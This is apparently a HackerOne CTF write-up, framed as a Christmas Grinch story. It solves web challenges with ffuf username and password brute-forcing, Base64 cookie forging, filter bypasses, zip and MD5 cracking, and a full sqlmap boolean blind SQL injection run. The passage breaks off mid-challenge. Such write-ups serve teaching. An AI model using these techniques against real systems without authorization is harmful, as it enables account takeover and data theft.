Lucene search

K
hackeroneNytr0genH1:1069335
HistoryDec 31, 2020 - 3:39 p.m.

h1-ctf: How The Hackers Saved Christmas

2020-12-3115:39:50
nytr0gen
hackerone.com
142

{F1139789}

Challenge I πŸ€–

β€œWhat are you doing?” I asked myself. I was about to trespass a clear warning to keep out.

{F1139744}

β€œHave you lost your mind?” But I couldn’t help it. I was born for this. And I wasn’t going to back down. There are 12 more days until Christmas Eve, and I wasn’t going to let a green furry dude destroy everything.

Let me backtrack a few days earlier. I minded my own business, prepping the Christmas tree on an old Elvis Presley album. I had planned holidays for my family and me, for a much-deserved getaway together.

Somehow I ended up on Twitter, just checking up on things from all my favorite hackers.

Suddenly my mood changed when I saw this tweet. This Grinch with his malefic little helper made an evil plan to destroy everything. Not just my holidays. Everyone’s holidays!

{F1139797}

I had to step up and stop it! I had to save Christmas! It is my duty!

Back to the present moment, I had to trespass the property to have a fighting chance. But there was nothing there, not a door or a crack on the wall.

I checked the robots.txt file for more clues. Luckily, the green beast left a trail.

User-agent: *
Disallow: /s3cr3t-ar3a
Flag: flag{48104912-28b0-494a-9995-a203d1e261e7}

Web developers use this file to tell Web Crawlers what files/directories to avoid when indexing a website. Our friend here kept himself safe from these crawlers but instead leaked the path to finding him and his plan.

I solved the first riddle, but I will not rest. Not until I save the holy day!

Challenge II πŸ”Ž

{F1139746}

11 days until Christmas!

The furry monster left a trail. I followed that path directly into a trap. It appears I have underestimated my enemy.

{F1139747}

Is there nothing here to be found that could help me further? I took out my magnifying glass to inspect the elements. There must be a hint of where to look next!

{F1139745}

I found the second flag, which brings me closer to saving the world!

β€œThis isn’t possible!” I exclaimed. I found the flag in DevTools, but I couldn’t find it anywhere in the source code.

β€œHow does it appear? What am I missing?” The only thing I haven’t checked is the jquery.min.js file. But that couldn’t be. That’s a standard framework.

I had to look. And there it was, entirely hidden inside jQuery code.

h1_0 = 'la';
h1_1 = '}';
h1_2 = '';
h1_3 = 'f';
h1_4 = 'g';
h1_5 = '{b7ebcb75';
h1_6 = '8454-';
h1_7 = 'cfb9574459f7';
h1_8 = '-9100-4f91-';
document.getElementById('alertbox').setAttribute('data-info', h1_2 + h1_3 + h1_0 + h1_4 + h1_2 + h1_5 + h1_8 + h1_6 + h1_7 + h1_1);
document.getElementById('alertbox').setAttribute('next-page', '/ap' + 'ps');

The next step was clear now. This wasn’t a trap, after all. At this point, I was starting to believe that the Grinch wanted to be found?! Maybe he doesn’t want to be a mean person, after all. Perhaps it’s a phase, and he needs some help. I was going to find out.

Challenge III - People Rater πŸ“‘

{F1139749}

The Grinch is not stopping. And neither am I. There’s this phone call from Taken that comes to mind:

> I don’t know who you are. I don’t know what you want. If you are looking for ransom, I can tell you I don’t have money, but what I do have are a very particular set of skills. Skills I have acquired over a very long career. Skills that make me a nightmare for people like you. If you let Santa Claus go now, that’ll be the end of it. I will not look for you, I will not pursue you, but if you don’t, I will look for you, I will find you, and I will save Christmas.

For today’s challenge, the green thing has leaked his list of people that he hates with motivation for each one of them. Grinch and Santa Claus seem to be sharing habits.

I started analyzing the application. I’m struck by the fact that the list is so long! This list has 16 persons that may have done nothing wrong.

{F1139751}

When clicking on a person, the application makes a GET JSON request to https://hackyholidays.h1ctf.com/people-rater/entry?id=eyJpZCI6Mn0=, with an ID for each person.

The ID is encoded in Base 64. Usually, to decode this, I use bash directly. Sometimes CyberChef for more complicated stuff. And lately, with the new Burp updates, the Inspector.

> echo 'eyJpZCI6Mn0=' | base64 -d
{"id":2}

Hmm! The decoded string contains the ID for the first person on the list, named Tea Avery. And the ID for the last person is 'eyJpZCI6MTd9' == b64('{"id":17}').

That raises some questions! Who has the number 1 ID? Let’s send a request with the Burp Repeater. The encoded ID should be b64('{"id":1}') == 'eyJpZCI6MX0='.

{F1139748}

I found him. Now some proper rest is required because tomorrow something more challenging will come.

Quick Note on Burp Suite: If you’re starting in the Bug Bounty journey, my recommendation is to use the Burp Suite Community Edition until you get your first bounty that covers the cost of Burp Suite Pro. That’s how I did. That’s how many bug hunters I know have done it. Keep the costs low in the beginning. The Community Edition has all the features you need to get a jump start.

Challenge IV - Swag Shop πŸ›’πŸͺ

{F1139754}

Is this the next challenge? Because I really need a new Christmas hoodie.

{F1139752}

Only 3 items in store for now. Nothing fancy in the source code. The application makes a get JSON request to /swag-shop/api/stock. I didn’t find any parameters and no other items.

In moments like this, I pull out my little friend ffuf and start ramming at things. P.S. I do not recommend using as many threads as I am outside of CTF competitions. Always check the policy of the bounty program you are participating in.

I used the common.txt wordlist from SecLists. Now let me share a trick from my toolbox. It’s pretty annoying to write the paths to wordlists so many times. But I also don’t like to use a wrapper for directory busting because I want to take advantage of ffuf options. So I’m using variables in bash for the most used wordlists, and they’re saved in .bashrc/.zshrc.

> export COMMONDIR="$HOME/tools/SecLists/Discovery/Web-Content/common.txt"
> ffuf -u 'https://hackyholidays.h1ctf.com/swag-shop/FUZZ' -w $COMMONDIR -t 100 -c -mc all -fc 404

        /'___\  /'___\           /____\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : https://hackyholidays.h1ctf.com/swag-shop/FUZZ
 :: Wordlist         : FUZZ: /home/robert/tools/SecLists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: all
 :: Filter           : Response status: 404
________________________________________________

api                     [Status: 200, Size: 23, Words: 2, Lines: 1]
:: Progress: [4661/4661] :: Job [1/1] :: 665 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

First, let’s dive into the parameters I used for ffuf. My favorite is -c because it colorizes the output. The number of threads is set with -t.

And the magic happens with -mc all and -fc 404. I noticed that 404 is the status code for nonexisting directories/files on this application. This is very common. The parameter -fc 404 filters out any response with a 404 status code. Also, -mc all matches all status codes. I need this because, by default, ffuf matches only a handful of status codes.

Back to the grinching. I already found that /api endpoint. Maybe is something hidden there? Time for another ffuf.

> ffuf -u 'https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ' -w $COMMONDIR -mc all -fc 404
sessions                [Status: 200, Size: 2194, Words: 1, Lines: 1]
stock                   [Status: 200, Size: 167, Words: 8, Lines: 1]
user                    [Status: 400, Size: 35, Words: 3, Lines: 1]

I know /api/stock already. This is the one that’s requested from the application page for the items.

What about /api/sessions? This one should be interesting.

> curl 'https://hackyholidays.h1ctf.com/swag-shop/api/sessions' | jq
{
  "sessions": [
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE1qUTNZMlJtWTJFMk4yRm1NemRqTTJJMFpXTmxaVFZrTTJWa056VTNNVFV3WWpka1l6a3lOV0k0WTJJM1pXWmlOamsyTjJOak9UazBNalU9In0=",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJaak0yTXpOak0ySmtaR1V5TXpWbU1tWTJaamN4TmpkbE5ETm1aalF3WlRsbVkyUmhOall4TldNNVkyWTFaalkyT0RVM05qa3hNVFEyTnprMFptSXhPV1poTjJaaFpqZzBZMkU1TnprMU5UUTJNek16WlRjME1XSmxNelZoWkRBME1EVXdZbVEzTkRsbVpURTRNbU5rTWpNeE16VTBNV1JsTVRKaE5XWXpPR1E9In0=",
    "eyJ1c2VyIjoiQzdEQ0NFLTBFMERBQi1CMjAyMjYtRkM5MkVBLTFCOTA0MyIsImNvb2tpZSI6Ik5EVTBPREk1TW1ZM1pEWTJNalJpTVdFME1tWTNOR1F4TVdFME9ETXhNemcyTUdFMVlXUmhNVGMwWWpoa1lXRTNNelUxTWpaak5EZzVNRFEyWTJKaFlqWTNZVEZoWTJRM1lqQm1ZVGs0TjJRNVpXUTVNV1E1T1dGa05XRTJNakl5Wm1aak16WmpNRFEzT0RrNVptSTRaalpqT1dVME9HSmhNakl3Tm1Wa01UWT0ifQ==",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRFJtWVRCaE4yRmlOalk1TUdGbE9XRm1ZVEU0WmpFMk4ySmpabVl6WldKa09UUmxPR1l3TWpJMU9HSXlOak0xT0RVME5qYzJZVGRsWlRNNE16RmlNMkkxTVRVek16VmlNakZoWXpWa01UYzRPREUzT0dNNFkySmxPVGs0TWpKbE1ESTJZalF6WkRReE1HTm1OVGcxT0RReFpqQm1PREJtWldReFptRTFZbUU9In0=",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNMlEyTURJek5EZzVNV0UwTjJNM05ESm1OVEl5TkdNM05XVXhZV1EwTkRSbFpXSTNNVGc0TWpJM1pHUmtNVGxsWlRNMlpEa3hNR1ZsTldFd05tWmlaV0ZrWmpaaE9EZzRNRFkzT0RsbVpHUmhZVE0xWTJJeU1HVmhNakExTmpkaU5ERmpZekJoTVdRNE5EVTFNRGM0TkRFMVltSTVZVEpqT0RCa01qRm1OMlk9In0=",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNV1kzTVRBek1UQmpaR1k0WkdNd1lqSTNaamsyWm1Zek1XSmxNV0V5WlRnMVl6RTBNbVpsWmpNd1ltSmpabVE0WlRVMFkyWXhZelZtWlRNMU4yUTFPRFkyWWpGa1ptRmlObUk1WmpJMU0yTTJNRFZpTmpBMFpqRmpORFZrTlRRNE4yVTJPRGRpTlRKbE1tRmlNVEV4T0RBNE1qVTJNemt4WldOaE5qRmtObVU9In0=",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRE00WXpoaU4yUTNNbVkwWWpVMk0yRmtabUZsTkRNd01USTVNakV5T0RobE5HRmtNbUk1T1RjeU1EbGtOVEpoWlRjNFlqVXhaakl6TjJRNE5tUmpOamcyTm1VMU16VmxPV0V6T1RFNU5XWXlPVGN3Tm1KbFpESXlORGd5TVRBNVpEQTFPVGxpTVRZeU5EY3pOakZrWm1VME1UZ3hZV0V3TURVMVpXTmhOelE9In0=",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJPR0kzTjJFeE9HVmpOek0xWldWbU5UazJaak5rWmpJd00yWmpZemRqTVdOaE9EZzRORGhoT0RSbU5qSTBORFJqWlRkbFpUZzBaVFV3TnpabVpEZGtZVEpqTjJJeU9EWTVZamN4Wm1JNVpHUmlZVGd6WmpoaVpEVmlPV1pqTVRWbFpEZ3pNVEJrTnpObU9ESTBPVE01WkRNM1kySmpabVk0TnpFeU9HRTNOVE09In0="
  ]
}

Base64 again. This seems to be a common thread with the evil Grinch. Just copy the JSON response to https://gchq.github.io/CyberChef/ and choose From Base64. That recipe will skip any non-base64 characters and decode the good ones. This helps the lazy ones like me.

In the decoding, each session is a JSON object with keys user and cookie. Each session has a cookie, but only one of them has a user key.

{
    "user": "C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
    "cookie": "NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YWRhMTc0YjhkYWE3MzU1MjZjNDg5MDQ2Y2JhYjY3YTFhY2Q3YjBmYTk4N2Q5ZWQ5MWQ5OWFkNWE2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="
}

Decoding the base64 from the cookie points to a hex string of 128 characters. Decoding the hex string results in binary data, so my guess is that’s a hash.

This seems to be a dead-end, and I’m in a hurry to find the Grinch.

What about the /api/user endpoint?

> curl 'https://hackyholidays.h1ctf.com/swag-shop/api/user' | jq
{
  "error": "Missing required fields"
}

That’s something. To find hidden parameters, I am using Arjun because it’s speedy and has excellent visual effects.

> cd ~/tools/Arjun
> python3 arjun.py -u 'https://hackyholidays.h1ctf.com/swag-shop/api/user'
    _
   /_| _
  (  |/ /(//) v2.0-beta
      _/

[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[*] Analysing HTTP response for potential parameter names
[*] Logicforcing the URL endpoint
[βœ“] name: uuid, factor: http code

It found the parameter uuid. I’ve seen a UUID before in the sessions. I tried it!

> curl 'https://hackyholidays.h1ctf.com/swag-shop/api/user?uuid=C7DCCE-0E0DAB-B20226-FC92EA-1B9043' | jq
{
  "uuid": "C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
  "username": "grinch",
  "address": {
    "line_1": "The Grinch",
    "line_2": "The Cave",
    "line_3": "Mount Crumpit",
    "line_4": "Whoville"
  },
  "flag": "flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}"
}

{F1139753}

I successfully doxed the big nasty green fluffy monster. He won’t know what’s coming! And I still want my hoodie.

Challenge V - Secure Login 🐏

{F1139760}

I need to get inside the secret area. The application has a login page with username and password, and nothing more.

{F1139755}

I tried directory bruteforcing, nothing was found. Tried parameters, got nothing again. Then I tried SQL Injection to bypass the authentication step. This is a really old school attack, but it didn’t work…

Trying the login, I noticed that I am able to enumerate usernames. The error when trying anything is Invalid Username. This means I can possibly try bruteforcing usernames.

Let’s get the good old ffuf out for this one. If you own a Burp Pro license, you can use the Intruder for this one. I recommend reading this excellent article at some point because the next command is going to be HUGE.

> ffuf -u 'https://hackyholidays.h1ctf.com/secure-login' \
    -w $HOME/tools/SecLists/Usernames/xato-net-10-million-usernames-dup.txt \
    -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
    -d 'username=FUZZ&password=test' \
    -fr 'Invalid Username'

access                  [Status: 200, Size: 1724, Words: 464, Lines: 37]
[WARN] Caught keyboard interrupt (Ctrl-C)

Let’s dive into this monster. I chose a big wordlist for usernames from SecLists. After I got a hit, I stopped ffuf from running. Hopefully, I will need only one username.

Now the cool part. I had to send a POST request with username andpassword. That’s done by setting the method via -X parameter to POST. Then setting the Content-Type header to application/x-www-form-urlencoded with the -H parameter. Then setting the POST data to username=FUZZ&password=test.FUZZ is the magic word here.

And the last parameter, named Filter regexp, will filter out any response with Invalid Username.

I tried using the username found, only to be met with a new error.

{F1139758}

I feel like I’m making progress here. Let’s do the same thing, now for the password. And I chose the edgiest wordlist I could find for passwords!

> ffuf -u 'https://hackyholidays.h1ctf.com/secure-login' \
    -w $HOME/tools/SecLists/Passwords/darkweb2017-top1000.txt \
    -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
    -d 'username=access&password=FUZZ' \
    -fr 'Invalid Password'

computer                [Status: 302, Size: 0, Words: 1, Lines: 1]

Ok! Let’s try this out! I logged in with the username access and the passwordcomputer. I wasn’t expecting what came next.

{F1139756}

Seems I’ve been tricked again by the Grinch. Luckily this took much less time to figure out. There was nothing on the page (source code, javascript files).

I noticed the cookie has an interesting format. It’s a Base 64 for a session cookie.

{F1139757}

What if I change the admin parameter in the JSON totrue? Magic hopefully happens! Did I mention how much I enjoy the Inspector functionality from Burp?! It’s really awesome

The new cookie should look like this:

eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjp0cnVlfQ==

And magic does happen. Sending a request to the page with session cookie reveals a secret file at https://hackyholidays.h1ctf.com/my_secure_files_not_for_you.zip (in case the server will be shut down, this is the archive {F1139792}).

Well, that’s juicy! What could the fluffy beast hide in here? I downloaded the file and tried to read the contents, but they are password-protected… Let’s try to use John the Ripper for this one.

> 7z l my_secure_files_not_for_you.zip
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2020-12-16 18:41:29 .....       215058       215105  xxx.png
2020-12-16 18:22:20 .....           43           55  flag.txt
------------------- ----- ------------ ------------  ------------------------
2020-12-16 18:41:29             215101       215160  2 files

> zip2john my_secure_files_not_for_you.zip > zip.hashes
ver 2.0 efh 5455 efh 7875 my_secure_files_not_for_you.zip/xxx.png PKZIP Encr: 2b chk, TS_chk, cmplen=215105, decmplen=215058, crc=277DEE70
ver 1.0 efh 5455 efh 7875 my_secure_files_not_for_you.zip/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=55, decmplen=43, crc=9DE7C581

> john --show zip.hashes
my_secure_files_not_for_you.zip:hahahaha::my_secure_files_not_for_you.zip:flag.txt, xxx.png:my_secure_files_not_for_you.zip

It didn’t take much to get the password.

> unzip -P hahahaha my_secure_files_not_for_you.zip
Archive:  my_secure_files_not_for_you.zip
  inflating: xxx.png
 extracting: flag.txt

> cat flag.txt
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}

Will I catch the Grinch in time? Things are getting harder by the day.

Challenge VI - My Diary πŸ“…

Good morning to everyone following the Anti Grinch Adventures! The challenge for today is the personal Diary of the big man himself, Mr. Grinch.

{F1139796}

The first step is to analyze the application. And directory bruteforcing, of course.

{F1139759}

Dirbusting returned with nothing. Analyzing the URL, I observed a template parameter with the value entries.html.

> ffuf -u 'https://hackyholidays.h1ctf.com/my-diary/?template=FUZZ' -w $COMMONDIR -fc 302
index.php               [Status: 200, Size: 689, Words: 126, Lines: 22]

I checked out the page at /my-diary/?template=index.php, and it’s a full-on Source Code Leak. Wowza! The Grinch really needs some help with the security of his services!

<?php
if (isset($_GET["template"])) {
    $page = $_GET["template"];
    // remove non allowed characters
    $page = preg_replace("/([^a-zA-Z0-9.])/", "", $page);
    // protect admin.php from being read
    $page = str_replace("admin.php", "", $page);
    // I've changed the admin file to secretadmin.php for more security!
    $page = str_replace("secretadmin.php", "", $page);

    if (file_exists($page)) {
        echo file_get_contents($page);
    } else { // redirect to home
        header("Location: /my-diary/?template=entries.html");
    }
}

From this code, I figured out that the important thing we want to get is secretadmin.php. It can’t be accessed directly. Path Traversal is completely blocked with the first preg_replace, because / is not allowed.

This is a common case of bad filtering. In this scenario, I can’t use admin.php directly as the value. But I can usead==admin.php==min.php. The value from inside will be removed, but because the replacement is not applied recursively, the value from outside will stay as-is.

It gets a bit more complicated with secretadmin.php because it contains the wordadmin.php. My solution is the followingsecretad==secretad==admin.php==min.php==min.php.

{F1139761}

Now I know what the Grinch is planning! Launch DDoS Against Santa’s Workshop! on the 23rd of December. That’s the evilest thing a hacker Grinch can do!

Challenge VII - Hate Mail Generator πŸ“«

{F1139800}

The application is quite interesting. It contains a page listing the email campaigns that have been sentβ€”the possibility of creating new email campaigns and previewing them. Sending an email campaign doesn’t work.

{F1139763}

The templating code looks similar to Mustache or Jinja2. So naturally, I thought of Server-Side Template Injection and consulted the faithful documentation of Payload All The Things. But sadly, nothing worked.

Running out of ideas this quick, I ran a directory bruteforce:

> ffuf -u 'https://hackyholidays.h1ctf.com/hate-mail-generator/FUZZ' -w $COMMONDIR -mc all -fc 404
new                     [Status: 200, Size: 2494, Words: 440, Lines: 49]
templates               [Status: 302, Size: 0, Words: 1, Lines: 1]

I know what /new endpoint does. But the /templates is still unknown. Visiting https://hackyholidays.h1ctf.com/hate-mail-generator/templates, I bump into a public directory listing.

{F1139764}

It’s disclosing 3 files. They can’t be accessed directly. And the header and footer files have been used before in the campaign that has already been sent by the Grinch. The other template, namely 38dhs_admins_only_header.html, wasn’t used anywhere yet and seems a bit private.

I started playing with the mail generator preview and the {{template:..}} functionality in the Burp Repeater. Protip: It’s a lot easier to use the multipart encoding when sending POST requests if the application accepts it because this way, I avoid URL encoding/decoding.

{F1139766}

Markup Status
{{template:cbdj3_grinch_header.html}} Works
{{template:cbdj3_grinch_footer.html}} Works
{{template:38dhs_admins_only_header.html}} You do not have access
{{template:./cbdj3_grinch_header.html}} Cannot find template file /templates/.cbdj3_grinch_header.html
{{template:…/templates/cbdj3_grinch_header.html}} Cannot find template file /templates/…templatescbdj3_grinch_header.html
{{template:./test/…/cbdj3_grinch_header.html}} Cannot find template file /templates/.test…cbdj3_grinch_header.html
{{template:{{name}}}} Missing key name}} in dataset

The last one might be interesting. I added name}} to the dataset, and the result was {{template:test. Then playing with this payload appended to one of the initial markups, I found it quite interesting that it had different behavior.

{F1139810}

This one took a bit of luck to exploit.

Challenge VIII - Forum πŸ’¬

{F1139798}

Analyzing the application and running directory bruteforce. The usual start.

{F1139767}

Looks like a simple forum. But the results from ffuf reveal an interesting endpoint at /phpmyadmin. The Security Team from Grinch Networks missed this important application. I tried default credentials with root:root and some simple combinations but with no luck.

{F1139811}

I tried a lot of stuff on the forum application and the login. I tried to send post requests directly to the endpoints. I tried bruteforcing for parameters. I tried looking for leaks in the source code. There was nothing!!!

I figured what the hell, let’s try Google Dorks for β€œGrinch Networks”. I’ve been collecting interesting Google Dorks for a while now from Twitter, and I rarely get to use them. Here is my list {F1139812} and I usually use a bash replace and open them all up with Google Chrome from the command line.

One with interesting results was site:github.com grinch networks. The first result was the Github of the Grinch. He contributed to a repository named Forum in theGrinch-Networks organization. *The plot thickens!*

I cloned the repository locally and started source code review. Weird, but the application looks really tight. Nothing vulnerable that could be used to help Santa.

I checked the commits on GitHub because there were only 4 of them. So I clicked on each one, one by one. The second commit includes the username and password for the database. YES!!

{F1139813}

And the credentials worked on https://hackyholidays.h1ctf.com/forum/phpmyadmin. There are 4 tables.

Table Rows
comment N/A
post N/A
section N/A
user 2

Only the user table is accessible and contains two rows.

id username password admin
1 grinch 35D652126CA1706B59DB02C93E0C9FBF 1
2 max 388E015BC43980947FCE0E5DB16481D1

I’m usually in hyperdrive when I find things like this. I went fast, fast, fast to the next step and the next step like in a trance!

The password looks like an MD5. I try these with online services like https://hashtoolkit.com/ and https://crackstation.net/. Only the second online hash cracker worked and found BahHumbug for the grinch’s password.

For anyone wondering what the word means, like myself, here is the definition from Urban Dictionary:

> An expression used to show disgust at the Christmas season, made famous by the fictional character Ebinizer Scrooge in the Charles Dickens novel β€˜A Christmas Carol’.
>
> Guy: I love Christmas, Don’t you, Mr. Scrooge?
> Scrooge: Bah Humbug

I logged in at https://hackyholidays.h1ctf.com/forum/login with grinch:BahHumbug credentials and accessed the Secret Plans.

{F1139817}

The Grinch must be stopped!

Challenge IX - Evil Quiz ❓

{F1139773}

I think the Grinch may have started recruiting for his evil army. I started analyzing the application and bruteforcing for directories.

{F1139770}

The only inputs here are the name and the answers to the quiz. There isn’t much room to mingle. My first thought was Blind Cross-Site Scripting. I use XSS Hunter for this, and I spray and pray.

Nothing happened. It was time to rethink my approach!

I observed an interesting little thing on the last page of the quiz.

> There is 56 other player(s) with the same name as you!

My spidey-senses told me this might be an SQL Injection? There’s only one way to find out. Try a bunch of
basic payloads until something works!

Name Num of Players
test 56
grinch 17
reallyuniquename1283823 1
nytr0gen 1
test’ 0
test" 1

So far, I can see that any name will have at least one other player with the same name. This means that the query is not filtering out my quiz response. But then, why does test' responds with 0 instead of1.

I think the query looks something like this.

SELECT COUNT(*)
FROM quiz_answers
WHERE name = '$input_name'

In this scenario, a double quote will not affect the response, but a single quote will break it. This means that if I send test' or 1='1, the answer will not be 1 or 0; it will be the total number of answers!

{F1139771}

Note: I took the liberty of answering like a Grinch soldier would to this quiz, just to see what happens.

And it worked! This looks like a Boolean-based SQL Injection. It’s time to use sqlmap to help me with dumping data from the database! I’m not the best at using this tool, and I have consulted the documentation a lot to do this. I do prefer it because it’s really useful for dumping everything.

The other option would have been to write a script to make both requests, and write all the queries by hand, then have a binary search for the charactersβ€”kind of boring.

sqlmap -u "https://hackyholidays.h1ctf.com/evil-quiz" \
    --data="name=nytr0gen" \
    --cookie="session=25677e0c322966d2d4cc71b2c3e49e86" \
    --drop-set-cookie --ignore-redirects \
    -p name --dbms=mysql --prefix="'" \
    --technique=B \
    --second-url="https://hackyholidays.h1ctf.com/evil-quiz/score" \
    --string="is 1 other" \
    --proxy="http://localhost:8080/" \
    --save=$PWD/quiz.conf

This is the mighty initial command. Let’s break it down.

  • The parameter -u is for the target URL
  • The parameter --data is attaching the POST data parameters
  • The parameter --cookie is for setting the cookie. The vulnerable parameter name is attached to the session. To be able to see the response in the second request, the cookie needs to be preserved. Note: I used my cookie session after completing the quiz, and it seems it is the only way it works to bypass the actual quiz and make only 2 requests instead of 3.
  • The parameter --drop-set-cookie is to ignore the set-cookie header after the POST request.
  • The parameter --ignore-redirects is to ignore the redirect to completing the quiz.
  • The parameter -p is to point to the vulnerable parameter.
  • The parameter --dbms is to help sqlmap a little by setting the correct database. My assumption is that it’s MySQL.
  • The parameter --prefix is really helpful here because I already figured out how the query is formed, so I’m basically helping sqlmap figure things out faster.
  • I’ve been looking for this one for a while now. The parameter --technique forces the technique used to be Boolean / Time Based / Union / etc. In this case, it’s set to Boolean.
  • The parameter --second-url is where the actual magic happens. Because the request is sent to one endpoint and the result from the vulnerable query happens on another, I used this parameter to point to that page.
  • The parameter --string is a little bit tricky. Sqlmap didn’t figure out on its own about how things are changing on that page for successful queries. I don’t blame you. I blame myself. I figured I could help a little by pointing out the right phrase for a successful query. Note: The name has to be unique, but it has to be used one more time on another session. Because if it’s not used at all, it will result in 0. And if I would have usedtest, that name might have gained more people.
  • The parameter --proxy is so that I can see everything in Burp Suite.
  • The parameter --save is really important because it saves all those commands in a config file that can later be referenced when dumping the database.

Let’s start talking business.

> sqlmap -u "https://hackyholidays.h1ctf.com/evil-quiz" \
    --data="name=nytr0gen" \
    --cookie="session=25677e0c322966d2d4cc71b2c3e49e86" \
    --drop-set-cookie --ignore-redirects \
    -p name --dbms=mysql --prefix="'" \
    --technique=B \
    --second-url="https://hackyholidays.h1ctf.com/evil-quiz/score" \
    --string="is 1 other" \
    --proxy="http://localhost:8080/" \
    --save=$PWD/quiz.conf

        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.12#stable}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

sqlmap identified the following injection point(s) with a total of 16 HTTP(s) requests:
---
Parameter: name (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: name=nytr0gen' AND 5126=5126 AND 'JwkO'='JwkO
---
back-end DBMS: MySQL >= 8.0.0

With the payload discovered by sqlmap and the config file saved, I can run the next couple of commands more easily. I need to get the current database, then the tables of the database, then the columns of my target table, and finally the rows.

> sqlmap -c $PWD/quiz.conf --current-db
current database: 'quiz'

> sqlmap -c $PWD/quiz.conf -D quiz --tables
Database: quiz
[2 tables]
+-------+
| admin |
| quiz  |
+-------+

> sqlmap -c $PWD/quiz.conf -D quiz -T admin --columns
Database: quiz
Table: admin
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int          |
| password | varchar(250) |
| username | varchar(250) |
+----------+--------------+

> sqlmap -c $PWD/quiz.conf -D quiz -T admin --dump
Database: quiz
Table: admin
[1 entry]
+----+-------------------+----------+
| id | password          | username |
+----+-------------------+----------+
| 1  | S3creT_p4ssw0rd-$ | admin    |
+----+-------------------+----------+

Nice! It took a bit to get these all out. In retrospection, I could’ve scripted it :)))

Using the username and the password gets me inside the Admin Area, which contains the flag.

{F1139768}

I am close! The Grinch must be scared. Only a few days until Christmas.

Challenge X - Signup Manager πŸ’Ύ

{F1139777}

Analyzing the application and running directory bruteforce. Not much to be seen. It’s a simple application for applying to the Grinch Evil Army! I guess the quiz must have been taken into consideration for this application.

{F1139774}

Something interesting I noticed in the source code is a comment to See README.md for assistance. I hastily accessed https://hackyholidays.h1ctf.com/signup-manager/README.md and was met with the following file.

{F1139775}

My next move was to download signupmanager.zip. Oh, and the default login didn’t work. That would have been too easy :)))

> wget 'https://hackyholidays.h1ctf.com/signup-manager/signupmanager.zip'
Connecting to hackyholidays.h1ctf.com (hackyholidays.h1ctf.com)|18.216.153.32|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4118 (4.0K) [application/zip]
Saving to: 'signupmanager.zip'

> unzip signupmanager.zip
Archive:  signupmanager.zip
  inflating: README.md
  inflating: admin.php
  inflating: index.php
  inflating: signup.php
  inflating: user.php

To spare the unnecessary details for the story, only index.php was interesting from all of these.

<?php
// -- snip --
function addUser($username, $password, $age, $firstname, $lastname) {
    $random_hash = md5(print_r($_SERVER, true) . print_r($_POST, true) . date("U") . microtime() . rand());
    $line = "";
    $line .= str_pad($username, 15, "#");
    $line .= $password;
    $line .= $random_hash;
    $line .= str_pad($age, 3, "#");
    $line .= str_pad($firstname, 15, "#");
    $line .= str_pad($lastname, 15, "#");
    $line .= "N";
    $line = substr($line, 0, 113);
    file_put_contents("users.txt", $line . PHP_EOL, FILE_APPEND);
    return $random_hash;
}
$all_users = buildUsers(); // parses users.txt
$page = "signup.php";
// -- snip --
if ($page == "signup.php") {
    $errors = array();
    if (isset($_POST["action"])) {
        // -- snip --
        if ($_POST["action"] == "signup" && isset($_POST["username"], $_POST["password"], $_POST["age"], $_POST["firstname"], $_POST["lastname"])) {
            $username = substr(preg_replace("/([^a-zA-Z0-9])/", "", $_POST["username"]), 0, 15);
            if (isset($all_users[$username])) {
                $errors[] = "Username already exists";
            }
            $password  = md5($_POST["password"]);
            $firstname = substr(preg_replace("/([^a-zA-Z0-9])/", "", $_POST["firstname"]), 0, 15);
            $lastname = substr(preg_replace("/([^a-zA-Z0-9])/", "", $_POST["lastname"]), 0, 15);
            if (!is_numeric($_POST["age"]) || strlen($_POST["age"]) > 3) {
                $errors[] = "Age entered is invalid";
            }
            $age = intval($_POST["age"]);
            if (count($errors) === 0) {
                $cookie = addUser($username, $password, $age, $firstname, $lastname);
                setcookie("token", $cookie, time() + 3600);
                header("Location: " . explode("?", $_SERVER["REQUEST_URI"])[0]);
                exit();
            }
        }
    }
}
include_once $page;

This is the important part of the code.

So, the addUser function and how it works makes me think of a Content Injection attack. This kind of vulnerability is really hard to notice, especially without source code review. I have written in the past a writeup for a similar challenge from Google CTF, which I believe has an interesting scenario and is worth reading.

My goal is to have a Y in the admin column.

